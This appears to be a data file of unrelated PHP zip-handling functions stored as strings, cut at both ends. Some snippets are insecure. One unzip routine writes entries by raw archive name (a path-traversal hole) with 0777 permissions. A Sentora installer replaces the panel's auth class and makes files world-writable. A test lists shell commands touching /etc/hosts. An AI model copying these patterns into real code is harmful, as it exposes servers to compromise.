if( isset( $zip_paths['filename'] ) && strpos( $zip_paths['filename'], 'iconset.' ) === 0)\n\t\t {\n\t\t\t $this->font_name = str_replace('iconset.', \"\", $zip_paths['filename']);\n\t\t }\n\t\t \n\t for ( $i=0; $i < $zip->numFiles; $i++ ) \n\t { \n\t \t$entry = $zip->getNameIndex($i); \n\t \n\t \tif(!empty($filter))\n\t\t\t\t{\n\t \t\t\t$delete \t= true;\n\t \t\t\t$matches \t= array();\n\t \t\t\t\n\t \t\t\tforeach($filter as $regex)\n\t \t\t\t{\n\t \t\t\t\tpreg_match(\"!\".$regex.\"$!\", $entry , $matches);\n\t \t\t\t\t\n\t \t\t\t\tif(!empty($matches))\n\t \t\t\t\t{\n\t\t \t\t\t\tif(strpos($entry, \".php\") === false)\n\t\t \t\t\t\t{\n\t \t\t\t\t\t\t$delete = false;\n\t\t \t\t\t\t\t\tbreak;\n\t\t \t\t\t\t\t}\n\t \t\t\t\t}\n\t \t\t\t}\n\t\t\t\t}\n\t \n\t if ( substr( $entry, -1 ) == '/' || !empty($delete)) continue; // skip directories and non matching files\n\t \n\t $fp \t= $zip->getStream( $entry ); \n\t $ofp \t= fopen( $this->paths['tempdir'].'/'.basename($entry), 'w' ); \n\t \n\t if ( ! $fp ) \n\t exit('Unable to extract the file.'); \n\t \n\t while ( ! feof( $fp ) ) \n\t fwrite( $ofp, fread($fp, 8192) ); \n\t \n\t fclose($fp); \n\t fclose($ofp); \n\t } \n\t\n\t $zip->close(); \n\t }\n\t else\n\t {\n\t \texit('Wasn\\'t able to work with Zip Archive');\n\t }\n\t \n\t return true; \n\t}", "public function toZip() : string\n {\n $rootPath = $this->getStoragePath();\n $outputPath = join_paths('/tmp/', $this->uid.'.zip');\n\n // Initialize archive object\n $zip = new ZipArchive();\n $zip->open($outputPath, ZipArchive::CREATE | ZipArchive::OVERWRITE);\n\n // Create recursive directory iterator\n /** @var SplFileInfo[] $files */\n $files = new RecursiveIteratorIterator(\n new RecursiveDirectoryIterator($rootPath),\n RecursiveIteratorIterator::LEAVES_ONLY\n );\n\n foreach ($files as $name => $file) {\n // Skip directories (they would be added automatically)\n if (!$file->isDir()) {\n // Get real and relative path for current file\n $filePath = $file->getRealPath();\n $relativePath = substr($filePath, strlen($rootPath) + 1);\n\n // Add current file to archive\n $zip->addFile($filePath, $relativePath);\n }\n }\n\n // Zip archive will be created only after closing object\n $zip->close();\n\n return $outputPath;\n }", "private function _download_theme () {\n\t\t// Check prerequisites\n\t\tif (!Upfront_Permissions::current(Upfront_Permissions::BOOT)) return $this->_error_redirect(self::ERROR_PERMISSION);\n\t\tif (!class_exists('ZipArchive')) return $this->_error_redirect();\n\n\t\t$data = stripslashes_deep($_GET);\n\n\t\t// Verify nonce existence\n\t\t$nonce = !empty($data['nonce']) ? $data['nonce'] : false;\n\t\tif (empty($nonce)) return $this->_error_redirect(self::ERROR_PARAM);\n\n\t\t// Load dependencies\n\t\tif (!class_exists('Thx_Sanitize')) require_once (dirname(__FILE__) . '/class_thx_sanitize.php');\n\t\tif (!class_exists('Thx_Fs')) require_once (dirname(__FILE__) . '/class_thx_fs.php');\n\n\t\t// Validate theme\n\t\t$slug = !empty($data['theme']) ? $data['theme'] : false;\n\t\t$theme = wp_get_theme($slug);\n\t\t$name = $theme->get('Name');\n\t\tif (empty($slug) || empty($name)) return $this->_error_redirect(self::ERROR_PARAM);\n\n\t\t// Verify nonce\n\t\t$nonce_action = 'download-' . $theme->get_stylesheet();\n\t\tif (!wp_verify_nonce($nonce, $nonce_action)) return $this->_error_redirect(self::ERROR_PARAM);\n\n\t\t// Alright, so we're good. Let's pack this up\n\n\t\t$fs = Thx_Fs::get($slug);\n\t\t$root = $fs->get_root_path();\n\n\t\t$archive_name = basename($root);\n\t\t$prefix = trailingslashit(dirname($root));\n\n\t\t$version = $theme->get('Version');\n\t\t$version = !empty($version) ? $version : '0.0.0';\n\n\t\t$list = $fs->ls();\n\t\tif (empty($list)) return $this->_error_redirect();\n\n\t\t$file = tempnam(\"tmp\", \"zip\");\n\t\t$zip = new ZipArchive();\n\t\tif (true !== $zip->open($file, ZipArchive::OVERWRITE)) return $this->_error_redirect();\n\n\t\tforeach ($list as $item) {\n\t\t\t$relative = preg_replace('/^' . preg_quote($prefix, '/') . '/', '', $item);\n\t\t\tif (is_dir($item)) $zip->addEmptyDir($relative);\n\t\t\telse $zip->addFile($item, $relative);\n\t\t}\n\n\t\t// Close and send to users\n\t\t$zip->close();\n\t\theader('Content-Type: application/zip');\n\t\theader('Content-Length: ' . filesize($file));\n\t\theader('Content-Disposition: attachment; filename=\"' . $archive_name . '-' . $version . '.zip\"');\n\t\treadfile($file);\n\t\tunlink($file);\n\t\tdie;\n\t}", "function createAlbumZip($albumname){\n\tglobal $_zp_zip_list, $zip_gallery;\n\tif (!checkAlbumPassword($albumname, $hint)) {\n\t\tpageError(403, gettext(\"Forbidden\"));\n\t\texit();\n\t}\n\t$zip_gallery = new Gallery();\n\t$album = new Album($zip_gallery, $albumname);\n\tif (!$album->exists) {\n\t\tpageError(404, gettext('Album not found'));\n\t\texit();\n\t}\n\t$persist = getOption('persistent_archive');\n\t$dest = $album->localpath.'.zip';\n\tif (!$persist || !file_exists($dest)) {\n\t\tinclude_once('archive.php');\n\t\t$curdir = getcwd();\n\t\tchdir($album->localpath);\n\t\t$_zp_zip_list = array();\n\t\t$z = new zip_file($dest);\n\t\t$z->set_options(array('basedir' => realpath($album->localpath.'/'), 'inmemory' => 0, 'recurse' => 0, 'storepaths' => 1));\n\t\tzipAddAlbum($album, strlen($albumname), $z);\n\t\t$z->add_files($_zp_zip_list);\n\t\t$z->create_archive();\n\t\tunset($_zp_zip_list);\n\t\tchdir($curdir);\n\t}\n\theader('Content-Type: application/zip');\n\theader('Content-Disposition: attachment; filename=\"' . pathurlencode($albumname) . '.zip\"');\n\theader(\"Content-Length: \" . filesize($dest));\n\tprintLargeFileContents($dest);\n\tif (!$persist) {\n\t\tunlink($dest);\n\t}\n\tunset($zip_gallery);\n\tunset($album);\n\tunset($persist);\n\tunset($dest);\n}", "function downloadFolderASZip($path, $name, $diff)\n{\n Zipper::zipDir($path, $name, $diff);\n App::set_response_header('Content-Description', 'File Transfer');\n App::set_response_header('Content-Type', 'application/octet-stream');\n App::set_response_header('Content-Disposition', 'attachment; filename=output.zip');\n App::set_response_header('Content-Transfer-Encoding', 'binary');\n App::set_response_header('Expires', '0');\n App::set_response_header('Cache-Control', 'must-revalidate');\n App::set_response_header('Pragma', 'public');\n App::set_response_header('Content-Length', \"\" . filesize($name));\n readfile($name);\n}", "public static function zipAll()\n {\n require_once __DIR__ . '/../../../vendor/autoload.php';\n require_once __DIR__ . '/../../function.php';\n\n $transmission = transmissionConnection();\n $torrents = $transmission->all();\n $torrentCtrl = new TorrentController();\n\n foreach( $torrents as $torrent ){\n if( $torrent->isFinished() && ! file_exists( $torrent->getDownloadDir() . '/' . $torrent->getName() . '.zip' ) ){\n $torrentCtrl->zipTorrent($torrent);\n }\n }\n }", "private function get_site_backup($file_path, $backup_type, $file_format = 1) {\n$this->zip->clear_data();\n$this->check_directory($file_path);\n$this->check_directory($this->copy_directory);\n//loop each of the folder that will be backed up\nif (count($this->directories) > 0) {\nforeach ($this->directories as $dir) {\nif (!in_array($dir, $this->ignore_directories)) {\n$location = $this->base_path . $dir . \"/\";\n$this->zip->read_dir($location, FALSE);\n}\n}\n} else {\n//takes a copy of the code to ensure that the backup of backups is not made.\n$copied = FALSE;\nif ($this->structure_copied === FALSE) {\n$path = str_replace('\\\\', '/', realpath($this->base_path));\n$copied = $this->copy_site_files($path, $this->base_path . $this->copy_directory . \"/\");\n}\nif (($copied === TRUE) || ($this->structure_copied === TRUE)) {\n$this->zip->read_dir($this->base_path . $this->copy_directory . \"/\", FALSE);\n}\n}\nflush();\n$key_name = date(\"d_m_Y_H_i_s\");\nif ($file_format == 1) {\n$file_name = md5($key_name) . '_site.zip';\n$zipped = $this->zip->archive($file_path . $file_name);\n$this->zip->clear_data();\nif ($this->structure_copied === TRUE) { //we need to remove the copied files to ensure that the server is kept nice and tidy\n$this->remove_temp_files($this->base_path . $this->copy_directory . \"/\");\n}\nif ($zipped == 1) {\n$this->handle_success('Nom de fichier: ' . $file_name . '. ');\n$this->handle_success('Le site sauvegarder avec succès sur le disque. ');\n$date_arr = explode('_', $key_name);\n$date = $date_arr[0] . '-' . $date_arr[1] . '-' . $date_arr[2] . ' ' . $date_arr[3] . ':' . $date_arr[4] . ':' . $date_arr[5];\n$file = $file_path . $file_name;\n$saved_data = $this->backup->save_backup_details($file_name, $file_path, $backup_type);\nif ($saved_data !== NULL) {\n$this->handle_success('Les détails du site sont enregistrées avec succès à la base de données. ');\n$this->handle_success('Vous pouvez obtenir la sauvegarde du site ici ' . anchor($this->site_download_url . $saved_data, 'download', array('class' => 'download')));\n$this->handle_success('Vous pouvez supprimer la sauvegarde du site ici ' . anchor($this->site_delete_url . $saved_data, 'delete', array('class' => 'delete', 'onclick' => \"return confirm('Are you sure want to delete this file ?')\")));\n} else {\nif (file_exists($file)) {\nunlink($file);\n}\n$this->handle_success('Erreur lors de la sauvegarde du site dans la base de données: ' . $file_name);\n}\n} else {\n$this->handle_error('Erreur lors l\\'écriture de sauvegarde sur disque: ' . $file_name);\n}\n} else if ($file_format == 2) {\n$file_name = md5($key_name) . '_site.tar.gz';\n$zipped = $this->zip->archive($file_path . $file_name);\n$this->zip->clear_data();\nif ($this->structure_copied === TRUE) { //we need to remove the copied files to ensure that the server is kept nice and tidy\n$this->remove_temp_files($this->base_path . $this->copy_directory . \"/\");\n}\nif ($zipped == 1) {\n$this->handle_success('Nom de fichier: ' . $file_name . '. ');\n$this->handle_success('Le site sauvegarder avec succès sur le disque. ');\n$date_arr = explode('_', $key_name);\n$date = $date_arr[0] . '-' . $date_arr[1] . '-' . $date_arr[2] . ' ' . $date_arr[3] . ':' . $date_arr[4] . ':' . $date_arr[5];\n$file = $file_path . $file_name;\n$saved_data = $this->backup->save_backup_details($file_name, $file_path, $backup_type);\nif ($saved_data !== NULL) {\n$this->handle_success('Les détails du site sont enregistrées avec succès à la base de données. ');\n$this->handle_success('Vous pouvez obtenir la sauvegarde du site ici ' . anchor($this->site_download_url . $saved_data, 'download', array('class' => 'download')));\n$this->handle_success('Vous pouvez supprimer la sauvegarde du site ici ' . anchor($this->site_delete_url . $saved_data, 'delete', array('class' => 'delete', 'onclick' => \"return confirm('Are you sure want to delete this file ?')\")));\n} else {\nif (file_exists($file)) {\nunlink($file);\n}\n$this->handle_success('Erreur lors de la sauvegarde du site dans la base de données: ' . $file_name);\n}\n} else {\n$this->handle_error('Erreur lors l\\'écriture de sauvegarde sur disque: ' . $file_name);\n}\n}\n}", "function build() {\n\t\t$localIndex = index();\n\t\tarsort($localIndex);\n\t\tob_start();\n?>\n\t\t\t<div style=\"width:600px;\">\n\t\t\t\t<h1>hypha builder</h1>\n\t\t\t\tHere you can compose your own hypha system.\n\t\t\t\t<ol>\n\t\t\t\t\t<li>First you have to enter a name and password for the so called 'superuser' account.</li>\n\t\t\t\t\t<li>Then you can select a number of modules for different data types you want to incorporate in your hypha system.</li>\n\t\t\t\t\t<li>When you click 'build' your superuser account and selection of modules will be packed into one php file ('hypha.php') which is offered for download.</li>\n\t\t\t\t\t<li>Upload the downloaded file into a webdirectory on your server and make shure php has write access to the folder. Open the file in a browser. You will be asked to login as superuser and after setting up some variables hypha will be installed.</li>\n\t\t\t\t</ol>\n\t\t\t</div>\n\t\t\t<table class=\"section\">\n\t\t\t\t<tr><th style=\"text-align:right; white-space:nowrap;\">superuser name:</th><td><input id=\"username\" name=\"username\" type=\"text\" /></td></tr>\n\t\t\t\t<tr><th style=\"text-align:right; white-space:nowrap;\">superuser password:</th><td><input name=\"password\" type=\"password\" /></td></tr>\n\t\t\t\t<tr name=\"datatype\">\n\t\t\t\t\t<th style=\"text-align:right; white-space:nowrap;\">modules to include:</th><td>\n<?php\n\t\tforeach ($localIndex as $file => $timestamp) {\n\t\t\tif (substr($file, 0, 17) == 'system/datatypes/') {\n\t\t\t\t$name = substr($file, 17, -4);\n\t\t\t\tif ($name!='settings') echo '<input type=\"checkbox\" name=\"build_'.substr($file,0,-4).'\"'.($name == 'text' ? ' checked=\"checked\"' : '').' /> '.$name.'<br/>'.\"\\n\";\n\t\t\t}\n\t\t}\n?>\n\t\t\t\t</td></tr>\n\t\t\t\t<tr name=\"language\">\n\t\t\t\t\t<th style=\"text-align:right; white-space:nowrap;\">languages to include:</th><td>\n<?php\n\t\tforeach ($localIndex as $file => $timestamp) {\n\t\t\tif (substr($file, 0, 17) == 'system/languages/' && substr($file, -4) == '.php') {\n\t\t\t\t$name = substr($file, 17, -4);\n\t\t\t\techo '<input type=\"checkbox\" name=\"build_'.substr($file,0,-4).'\"'.($name == 'en' ? ' checked=\"checked\"' : '').' /> '.$name.'<br/>'.\"\\n\";\n\t\t\t}\n\t\t}\n?>\n\t\t\t\t</td></tr>\n\t\t\t\t<tr><td colspan=\"2\" style=\"text-align:right;\"><input type=\"submit\" id=\"gobutton\" name=\"command\" value=\"build\"></td></tr>\n\t\t\t</table>\n<?php\n\t\treturn ob_get_clean();\n\t}", "function create_zip($files = array(), $destination = '', $overwrite = false)\n{\n if (file_exists($destination) && !$overwrite) { //目录是否存在,是否覆盖\n return false;\n }\n\n //vars\n $valid_files = array();\n //if files were passed in...\n //遍历每一个文件,确认每一个文件存在。\n if (is_array($files)) {\n //cycle through each file\n foreach ($files as $file) {\n //make sure the file exists\n if (file_exists($file)) {\n $valid_files[] = $file;\n }\n }\n }\n\n //if we have good files...是否有文件\n if (count($valid_files)) {\n //create the archive\n $zip = new \\ZipArchive();//创建压缩工具对象\n //根据$overwrite判断是新建还是覆盖\n if ($zip->open($destination, $overwrite ? \\ZIPARCHIVE::OVERWRITE : \\ZIPARCHIVE::CREATE) !== true) {\n return false;\n }\n //add the files----添加文件\n foreach ($valid_files as $file) {\n $filearr = explode('/',$file);\n $zip->addFile($file,$filearr[count($filearr)-1]);//前面那个是文件路径,后面那个设置在zip中文件的路径(精确到文件本身)\n }\n// $zip->addFromString('test.txt', '怎的了,我就加哥东西');//这个是创建并往里面加一个文本文件\n //debug\n //echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\n //close the zip -- done!\n $zip->close();//echo 1;die;关闭zip文件\n //check to make sure the file exists\n return file_exists($destination);//该文件是否存在\n } else {\n return false;\n }\n}", "private function createZip(Collection $entries) {\n $random = str_random();\n $path = storage_path(\"app/temp/zips/$random.zip\");\n $zip = new ZipArchive();\n\n $zip->open($path, ZIPARCHIVE::CREATE);\n\n $this->fillZip($zip, $entries);\n\n $zip->close();\n\n return $path;\n }", "function zip_download_alternative($files)\r\n{\r\n\tglobal $_course;\r\n\tglobal $_user;\r\n\r\n\t$temp_zip_dir = api_get_path(SYS_COURSE_PATH).$_course['path'].\"/temp/\";\r\n\r\n\t// Step 1: create the overview file and add it to the zip\r\n\t$overview_file_content=generate_html_overview($files, array('filename'), array('title'));\r\n\t$overview_file=$temp_zip_dir.'overview'.$_user['firstname'].$_user['lastname'].'.html';\r\n\t$handle=fopen($overview_file,'w');\r\n\tfwrite($handle,$overview_file_content);\r\n\t// todo: find a different solution for this because even 2 seconds is no guarantee.\r\n\tsleep(2);\r\n\r\n\t// Step 2: we copy all the original dropbox files to the temp folder and change their name into the original name\r\n\tforeach ($files as $key=>$value)\r\n\t{\r\n\t\t$value['title']=check_file_name($value['title']);\r\n\t\t$files[$value['filename']]['title']=$value['title'];\r\n\t\tcopy(api_get_path(SYS_COURSE_PATH).$_course['path'].\"/dropbox/\".$value['filename'], api_get_path(SYS_COURSE_PATH).$_course['path'].\"/temp/\".$value['title']);\r\n\t}\r\n\r\n\t// Step 3: create the zip file and add all the files to it\r\n\t$temp_zip_file=$temp_zip_dir.'/dropboxdownload-'.$_user['user_id'].'-'.mktime().'.zip';\r\n\t$zip_folder=new PclZip($temp_zip_file);\r\n\tforeach ($files as $key=>$value)\r\n\t{\r\n\t\t$zip_folder->add(api_get_path(SYS_COURSE_PATH).$_course['path'].\"/temp/\".$value['title'],PCLZIP_OPT_REMOVE_PATH, api_get_path(SYS_COURSE_PATH).$_course['path'].\"/temp\");\r\n\t}\r\n\r\n\t// Step 4: we add the overview file\r\n\t$zip_folder->add($overview_file,PCLZIP_OPT_REMOVE_PATH, api_get_path(SYS_COURSE_PATH).$_course['path'].\"/temp\");\r\n\r\n\t// Step 5: send the file for download;\r\n\tDocumentManager::file_send_for_download($temp_zip_file,true,$name);\r\n\r\n\t// Step 6: remove the files in the temp dir\r\n\tforeach ($files as $key=>$value)\r\n\t{\r\n\t\tunlink(api_get_path(SYS_COURSE_PATH).$_course['path'].\"/temp/\".$value['title']);\r\n\t}\r\n\t//unlink($overview_file);\r\n\r\n\texit;\r\n}", "protected function package()\n {\n $zip = new \\ZipArchive();\n if ($zip->open($this->outputFile, \\ZipArchive::CREATE) !== TRUE) {\n throw new \\Exception('Couldn\\'t create zip archive');\n }\n\n $zip->addFromString('document.html', $this->htmlDom->saveHTML());\n\n if (\n !isset($this->config['html_includes']) or\n !is_dir($this->config['html_includes'])\n ) {\n throw new \\Exception('Invalid HTML includes directory');\n }\n\n // Add the contents of the HTML includes directory to the ZIP file\n $it = new RecursiveDirectoryIterator($this->config['html_includes']);\n $files = new RecursiveIteratorIterator(\n $it,\n RecursiveIteratorIterator::CHILD_FIRST\n );\n foreach ($files as $file) {\n if ($file->getType() == 'dir') { continue; }\n $zipPath = $file->getPathname();\n $zipPath = str_replace($this->config['html_includes'] . '/', '', $zipPath);\n $zip->addFile($file->getRealPath(), $zipPath);\n }\n\n // Add metypeset media files\n $mediaDir = dirname($this->inputFile) . '/metypeset/media';\n if (is_dir($mediaDir)) {\n $it = new RecursiveDirectoryIterator($mediaDir);\n $files = new RecursiveIteratorIterator(\n $it,\n RecursiveIteratorIterator::CHILD_FIRST\n );\n foreach ($files as $file) {\n if ($file->getType() == 'dir') { continue; }\n $zipPath = $file->getPathname();\n $zipPath = str_replace($mediaDir, 'media', $zipPath);\n $zip->addFile($file->getRealPath(), $zipPath);\n }\n }\n\n $zip->close();\n }", "function create($archive, $files, $options = array (), $compress = 'zip', $addPath = '', $removePath = '', $autoExt = false, $cleanUp = false) \n {\n\t \n // Initialize variables\n $contents = array();\n $ctrldir = array();\n\n foreach ($files as $file) {\n $this->_addToZIPFile($file, $contents, $ctrldir);\n }\n \n return $this->_createZIPFile($contents, $ctrldir, $archive);\n }", "function create_link($zipfile) {\n\n\tglobal $csIDstr, $maxviewbytes, $sessionID;\n\t\n\tif (file_exists($zipfile)) {\n\t\t$fsize = filesize($zipfile) . ' bytes';\n\t\t\n\t\tif ((filesize($zipfile) > $maxviewbytes) || preg_match('/bat$|sh$|xml$/',$zipfile) ) {\n\t\t\t\n\t\t\t// Clean filename\n\t\t\t$zipinfo = pathinfo($zipfile);\n\t\t\t$zipbase = basename($zipfile,'.'.$zipinfo['extension']);\n\t\t\t\n\t\t\t// zip files\n\t\t\tzipfiles($zipbase,$zipfile);\n\t\t\texit;\n\t\t}\n\t\tcleanSessionID($zipfile);\n\t\t$hreftitle = basename($csIDstr);\n\t\t$resultsfile = UPLOADPATH .'/'. $sessionID .'/'.basename($zipfile);\n\t\tchmod($resultsfile, 0755);\n\t\techo (' \n\t\t\t\t<tr><td>\n\t\t\t\t\tResults: <a href=\"'.$resultsfile.'\">'.$hreftitle.'</a> - '.$fsize.'<br /> \n\t\t\t\t</td></tr>\n\t\t\t ');\n }\n}", "function zipFile($nomDossier) {\n /*\n * récupère la liste des fichiers d'un dossier puis les mets dans une liste.\n */\n $path = 'PageStorage/'.$nomDossier.'/';\n $fileList = glob($path.'*');\n $listeFichiers = array();\n $size = strlen('PageStorage/') + strlen($nomDossier)+1;\n\n foreach($fileList as $filename){\n $filename = substr($filename, $size);\n array_push($listeFichiers, $filename);\n }\n /*\n *Creation du zip avec les fichiers a l'interieur\n */\n $zip = new ZipArchive;\n $tmp_file = 'PageStorage/'.$nomDossier.'.zip';\n if ($zip->open($tmp_file, ZipArchive::CREATE)) {\n foreach($listeFichiers as $fichier){\n $zip->addFile($path.$fichier, $fichier);\n }\n $zip->close();\n } else {\n echo 'Failed!';\n }\n }", "function UnZip(){\n global $controller;\n $zip = new ZipArchive;\n $res = $zip->open(getcwd().\"/filemanager.zip\");\n if ($res === TRUE) {\n $zip->extractTo(\"/etc/sentora/panel/etc/apps\");\n $zip->close();\n chmod (\"/etc/sentora/panel/etc/apps/filemanager\", 0777);\n chmod (\"/etc/sentora/panel/modules/filemanager\", 0777);\n chmod (\"/etc/sentora/panel/modules/filemanager/module.xml\", 0777);\n chmod (\"/etc/sentora/panel/modules/filemanager/module.zpm\", 0777);\n chmod (\"/etc/sentora/panel/modules/filemanager/end.php\", 0777);\n chmod (\"/etc/sentora/panel/modules/filemanager/code\", 0777);\n chmod (\"/etc/sentora/panel/modules/filemanager/code/controller.ext.php\", 0777);\n chmod (\"/etc/sentora/panel/modules/filemanager/assets\", 0777);\n chmod (\"/etc/sentora/panel/modules/filemanager/assets/icon.png\", 0777);\n copy(\"/etc/sentora/panel/modules/filemanager/auth.class1.php\" , \"/etc/sentora/panel/dryden/ctrl/auth.class1.php\");\n unlink(\"/etc/sentora/panel/dryden/ctrl/auth.class.php\");\n copy(\"/etc/sentora/panel/modules/filemanager/auth.class2.php\" , \"/etc/sentora/panel/dryden/ctrl/auth.class.php\");\n chmod (\"/etc/sentora/panel/dryden/ctrl/auth.class.php\", 0777);\n chmod (\"/etc/sentora/panel/dryden/ctrl/auth.class1.php\", 0777);\n return true;\n } else {\n return false;\n }\n}", "public function generateZipArchiveDataProviderException() {\n return [\n ['command_which_doesnt_exist'],\n ['zip -j /tmp/pii_data/filename.zip /tmp/pii_data/filename.csv'],\n ['zip -j /usr/filename.zip /dev/null'],\n ['zip -j /usr/filename.zip /etc/hosts'],\n ];\n }", "public static function createZip($currentFont) {\n // general vars\n\n $cleanTitle = strtolower(preg_replace(array ('/\\s+/','/[^a-zA-Z0-9]/'), array ('-', ''), $currentFont->getTitle()));\n\n $fontPath = PATH_site . 'fileadmin/' . $currentFont->getDestination() . $cleanTitle .'/';\n\n $fileName = $destinationPath = PATH_site . 'fileadmin/' . $currentFont->getDestination() . $cleanTitle . '_' . $currentFont->getVersion() . '_' . date('YmdHi', $GLOBALS['EXEC_TIME']) .'.zip';\n\n $zip = new \\ZipArchive();\n $zip->open($fileName, \\ZipArchive::CREATE);\n\n // Get all the files of the extension, but exclude the ones specified in the excludePattern\n $files = GeneralUtility::getAllFilesAndFoldersInPath(\n array(),\t\t// No files pre-added\n $fontPath,\t\t// Start from here\n '',\t\t\t\t// Do not filter files by extension\n TRUE,\t\t\t// Include subdirectories\n PHP_INT_MAX\t\t// Recursion level\n );\n\n\n // Make paths relative to extension root directory.\n $files = GeneralUtility::removePrefixPathFromList($files, $fontPath);\n\n // Remove the one empty path that is the extension dir itself.\n $files = array_filter($files);\n\n foreach ($files as $file) {\n $fullPath = $fontPath . $file;\n // Distinguish between files and directories, as creation of the archive\n // fails on Windows when trying to add a directory with \"addFile\".\n if (is_dir($fullPath)) {\n $zip->addEmptyDir($file);\n } else {\n $zip->addFile($fullPath, $file);\n }\n }\n\n $zip->close();\n return $fileName;\n }", "public function wp_download_zip(){\n\n\t\t// Get WordPress data\n\t\t$wp = json_decode( file_get_contents( $this->_wp_api ) )->offers[0];\n\n\t\tfile_put_contents( 'wordpress-' . $wp->version . '-' . $this->_wp_lang . '.zip', file_get_contents( $wp->download ) );\n\n\t\treturn TRUE;\n\t}", "public function getZip() {}", "function create_zip($files = array(),$destination = '',$overwrite = false) {\n if(file_exists($destination) && !$overwrite) { return false; }\n //vars\n $valid_files = array();\n //if files were passed in...\n if(is_array($files)) {\n //cycle through each file\n foreach($files as $file) {\n //make sure the file exists\n if(file_exists($file)) {\n $valid_files[] = $file;\n }\n }\n }\n //if we have good files...\n if(count($valid_files)) {\n //create the archive\n $zip = new ZipArchive();\n if($zip->open($destination,$overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {\n return false;\n }\n //add the files\n foreach($valid_files as $file) {\n $zip->addFile($file,$file);\n }\n //debug\n //echo 'The zip archive contains ',$zip->numFiles,' files with a status of ',$zip->status;\n\n //close the zip -- done!\n $zip->close();\n\n //check to make sure the file exists\n return file_exists($destination);\n }\n else\n {\n return false;\n }\n}", "function unzip($src_file, $dest_dir=false, $create_zip_name_dir=false, $overwrite=true)\r\n\t\t{\t\r\n\t\t if(function_exists(\"zip_open\"))\r\n\t\t { \r\n\t\t if(!is_resource(zip_open($src_file)))\r\n\t\t { \r\n\t\t $src_file=dirname($_SERVER['SCRIPT_FILENAME']).$src_file; \r\n\t\t }\r\n\t\t\t /*echo dirname($_SERVER['SCRIPT_FILENAME']); // '/home/xxxcom/domains/xxx.com/public_html/[WP Folder]/wp-admin'\r\n\t\t\t echo \"<br>\";\r\n\t\t\t echo $src_file; // '/tmp/phpTdXHxZ'\r\n\t\t\t die();*/\r\n\t\t if (is_resource($zip = zip_open($src_file)))\r\n\t\t { \r\n\t\t $splitter = ($create_zip_name_dir === true) ? \".\" : \"/\";\r\n\t\t if ($dest_dir === false) $dest_dir = substr($src_file, 0, strrpos($src_file, $splitter)).\"/\";\r\n\t\t \r\n\t\t // Create the directories to the destination dir if they don't already exist\r\n\t\t $this->create_dirs($dest_dir);\r\n\t\t\r\n\t\t\t\t // init File Array count\r\n\t\t\t\t $i = 0;\r\n\t\t\t\t \r\n\t\t // For every file in the zip-packet\r\n\t\t while ($zip_entry = zip_read($zip))\r\n\t\t {\r\n\t\t \t\r\n\t\t // Now we're going to create the directories in the destination directories\r\n\t\t \r\n\t\t // If the file is not in the root dir\r\n\t\t $pos_last_slash = strrpos(zip_entry_name($zip_entry), \"/\");\r\n\t\t if ($pos_last_slash !== false)\r\n\t\t {\r\n\t\t // Create the directory where the zip-entry should be saved (with a \"/\" at the end)\r\n\t\t $this->create_dirs($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1));\r\n\t\t }\r\n\t\t\r\n\t\t // Open the entry\r\n\t\t if (zip_entry_open($zip,$zip_entry,\"r\"))\r\n\t\t {\r\n\r\n\t\t //Check file Exist or Not , if Yes, rename.\r\n\t\t\t\t\t $seed = 1;\r\n\t\t\t\t\t $wud = wp_upload_dir();\r\n\t\t\t\t\t if (file_exists($wud['path'].'/'.sanitize_file_name(zip_entry_name($zip_entry))))\r\n\t\t\t\t\t {\r\n\t\t\t\t\t \t\twhile (file_exists($wud['path'].'/'.sz_getFilename(sanitize_file_name(zip_entry_name($zip_entry))).$seed.'.'.sz_getFileExt(sanitize_file_name(zip_entry_name($zip_entry)))) )\r\n\t\t\t\t\t \t\t{\r\n\t\t\t\t\t\t \t\t$seed++;\r\n\t\t\t\t\t\t \t}\r\n\t\t\t\t\t\t\t// The name of the file to save on the disk\r\n\t\t\t\t\t\t \t$savefilename = sz_getFilename(sanitize_file_name(zip_entry_name($zip_entry))).$seed.'.'.sz_getFileExt(sanitize_file_name(zip_entry_name($zip_entry)));\r\n\t\t\t\t\t \t $file_name = $dest_dir.$savefilename;\r\n\t\t\t\t\t }\r\n\t\t\t\t\t else\r\n\t\t\t\t\t {\r\n\t\t\t\t\t\t\t// The name of the file to save on the disk\r\n\t\t\t\t\t\t\t$savefilename = sanitize_file_name(zip_entry_name($zip_entry));\r\n\t\t\t\t\t\t\t$file_name = $dest_dir.zip_entry_name($zip_entry);\r\n\t\t\t\t\t }\r\n\t\t\t\t\t \r\n\t\t // Check if the files should be overwritten or not\r\n\t\t if ($overwrite === true || $overwrite === false && !is_file($file_name))\r\n\t\t {\r\n\t\t // Get the content of the zip entry\r\n\t\t $fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)); \r\n\t\t \r\n\t\t if(!is_dir($file_name)) \r\n\t\t file_put_contents($file_name, $fstream );\r\n\t\t // Set the rights\r\n\t\t if(file_exists($file_name))\r\n\t\t {\r\n\t\t chmod($file_name, 0777);\r\n\t\t //echo \"<span style=\\\"color:#1da319;\\\">file saved: </span>\".$file_name.\"<br />\";\r\n\t\t\t\t\t\t\t $file[$i] = array(\r\n \t\t \t\t\t\t\t\t\t\t\t\t\t\t 'name' => $savefilename,\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'tmp_name' => $file_name,\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'error' => '',\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'size' => filesize($file_name)\r\n \t\t \t\t\t\t\t\t\t\t\t );\r\n\t\t }\r\n\t\t else\r\n\t\t {\r\n\t\t //echo \"<span style=\\\"color:red;\\\">file not found: </span>\".$file_name.\"<br />\";\r\n\t\t }\r\n\t\t }\r\n\t\t \r\n\t\t // Close the entry\r\n\t\t zip_entry_close($zip_entry);\r\n\t\t }\r\n\t\t\t\t\t$i++;\r\n\t\t\t\t\t//End While\r\n\t\t }\r\n\t\t // Close the zip-file\r\n\t\t zip_close($zip);\r\n\t\t }\r\n\t\t else\r\n\t\t {\r\n\t\t //echo \"No Zip Archive Found.\";\r\n\t\t return $file;\r\n\t\t }\r\n\t\t //echo print_r($file).\"<br>\";\r\n\t\t return $file;\r\n\t\t }\r\n\t\t else\r\n\t\t {\r\n\t\t if(version_compare(phpversion(), \"4.1.0\", \"<\"))\r\n\t\t $infoVersion=\"(use PHP 4.1.0 or later)\";\r\n\t\t //echo \"You need to install/enable the php_zip.dll extension $infoVersion\"; \r\n\t\t }\r\n\t\t}", "function create_zip($files = array(), 